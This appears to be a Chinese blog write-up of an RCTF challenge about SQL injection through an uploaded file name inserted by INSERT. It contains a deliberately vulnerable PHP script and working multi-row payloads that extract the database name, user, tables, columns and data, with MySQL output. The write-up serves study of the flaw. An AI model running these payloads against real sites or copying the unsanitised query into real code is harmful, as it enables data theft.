RCTF文件名注入,感觉挺有意思,就记录一下。

RCTF的那题是把文件名单独提取出来如:xxxx.jpg.提取出 xxxx insert into 到数据库中再通过 select 显示到网页中。

要想进行注入,我想到的办法是。同时插入几条数据(为了逃逸单引号),第一条补全前面的括号,第二条执行命令并将结果插入数据库,第三条将最后的括号闭合。

假如数据库中只有两列并且输入的文件名插入在第一列,那么可以构造如下payload:

test1','test'),('payload','test'),('test

就像前面说的,这种方法需要知道数据库结构。数据库结构可以通过盲注猜出来。全部输入合法字符,如果不符合数据库的结构,就不会有回显,有回显就说明插入正确。

接下来说如何进行注入。可以搭建本地环境进行测试。

建立一个两列的表:

create table insert_injection(
id int(10) not null primary key auto_increment,
name char(15) not null);

Query OK, 0 rows affected (0.11 sec)

本地搭建一个php的环境,搭建的代码如下:

<?php
$db = mysql_connect("localhost","db_user","db_password");
mysql_select_db("db_name");
$name = $_GET['name'];
$sql = "INSERT INTO insert_injection(column1,column2) VALUES ('','$name')";
echo $sql;
$query = mysql_query($sql);
?>

由于表是自己创建,知道表结构,那么可以直接插入。

构造payload:

http://localhost/test.php?name=boom'),('',(select database())),('','boom

执行的sql语句为:

INSERT INTO insert_injection(id,name) VALUES ('','boom'),('',(select database())),('','boom');

插入数据库数据为:

mysql> select * from insert_injection;
+----+------+
| id | name |
+----+------+
|  5 | boom |
|  6 | test |
|  7 | boom |
+----+------+
3 rows in set (0.00 sec)

可以看到第六条就是当前使用数据库名。

构造payload:

http://localhost/upload.php?name=boom'),('',(select user() from information_schema.tables limit 0,1)),('','boom

执行的sql语句为:

INSERT INTO insert_injection(id,name) VALUES ('','boom'),('',(select user() from information_schema.tables limit 0,1)),('','boom');

插入数据库中数据为:

mysql> select * from insert_injection;
+----+----------------+
| id | name           |
+----+----------------+
|  8 | boom           |
|  9 | root@localhost |
| 10 | boom           |
+----+----------------+
3 rows in set (0.00 sec)

RCTF在注册时分配给每一个人一个uid,插入数据库后又通过

select filename from web_upload where uid = xxx;

显示到网页上。

所以通过如上想法可以查询出当前使用数据库中的表,列,和数据。本地我没有让他回显到网页中,直接在数据库中查询看了。

下面给出我利用的payload:

xxxx?filename=aa','55',uid),((select database()),'88',uid),('aa   #获得数据库名 db_name

xxxx?filename=aa','55',uid),((select table_name from information_schema.tables where table_schema='db_name' limit 0,1),'88',uid),('aa    #获得dn_name中第一张表的表名,以此类推可以获得所有表名

xxxx?filename=aa','55',uid),((select column_name from information_schema.columns where table_name='table_name' limit 0,1),'88',uid),('aa    #获得当前表中第一列名称

xxxx?filename=aa','55',uid),((select column_name from table_name limit 0,1),'88',uid),('aa  #获得列中数据

其中在本地测试的时候,还知道了一些很奇怪的小知识。

比如

INSERT INTO TABLE_NAME(id,name) VALUES('','test' and 1=1)

插入数据库中显示的是0

mysql> insert into insert_injection values('1','test' and 1=1);
Query OK, 1 row affected, 1 warning (0.05 sec)

mysql> select * from insert_injection;
+----+------+
| id | name |
+----+------+
|  1 | 0    |
+----+------+
1 row in set (0.00 sec)

如果后面跟的判断为假则会报错

mysql> insert into insert_injection values('1','test' and 1=2);
ERROR 1062 (23000): Duplicate entry '1' for key 'PRIMARY'

记录一下。

只是小小的记录下,欢迎大家指正。